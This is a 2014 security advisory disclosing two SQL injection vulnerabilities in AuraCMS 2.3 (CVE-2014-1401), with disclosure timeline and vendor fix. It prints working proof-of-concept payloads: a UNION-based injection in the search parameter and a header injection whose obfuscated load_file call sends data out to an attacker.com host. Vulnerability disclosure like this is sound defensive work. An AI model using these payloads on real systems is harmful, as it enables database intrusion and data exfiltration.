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Multiple SQL Injection Vulnerabilities in AuraCMS
From: High-Tech Bridge Security Research <advisory () htbridge com>
Date: Wed, 5 Feb 2014 13:18:54 +0100 (CET)

Advisory ID: HTB23196
Product: AuraCMS
Vendor: AuraCMS
Vulnerable Version(s): 2.3 and probably prior
Tested Version: 2.3
Advisory Publication:  January 8, 2014  [without technical details]
Vendor Notification: January 8, 2014 
Vendor Patch: January 30, 2014 
Public Disclosure: February 5, 2014 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-1401
Risk Level: Medium 
CVSSv2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered two SQL injection vulnerabilities in AuraCMS, which can be exploited 
to alter SQL queries and execute arbitrary SQL commands in application's database.


1) Multiple SQL Injection Vulnerabilities in AuraCMS: CVE-2014-1401

1.1 The vulnerability exists due to insufficient validation of "search" HTTP GET parameter passed to "/index.php" 
script. A remote authenticated attacker can execute arbitrary SQL commands in application's database.

The exploitation example below displays version of MySQL server:

http://[host]/index.php?mod=content&action=search&search=1%27%29%2f**%2funion%2f**%2fselect%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15%20--%202


1.2 The vulnerability exists due to insufficient validation of "CLIENT_IP", "X_FORWARDED_FOR", "X_FORWARDED", 
"FORWARDED_FOR", "FORWARDED" HTTP headers in "/index.php" script. A remote authenticated attacker can execute arbitrary 
SQL commands in application's database.

The exploitation example below displays version of MySQL server:


GET / HTTP/1.1
CLIENT_IP: '),('',(select load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))))
 -- 2


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Solution:

Fixed by vendor on January 30, 2014 directly in the source code without version modification/new release. Update to the 
version 2.3 released after January 30, 2014.

More Information:
https://github.com/auracms/AuraCMS/commit/4fe9d0d31a32df392f4d6ced8e5c25ed4af19ade

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References:

[1] High-Tech Bridge Advisory HTB23196 - https://www.htbridge.com/advisory/HTB23196 - Multiple SQL Injection 
Vulnerabilities in AuraCMS.
[2] AuraCMS - http://auracms.org - AuraCMS is an open source software that will let you manage content of your website.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security 
assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.


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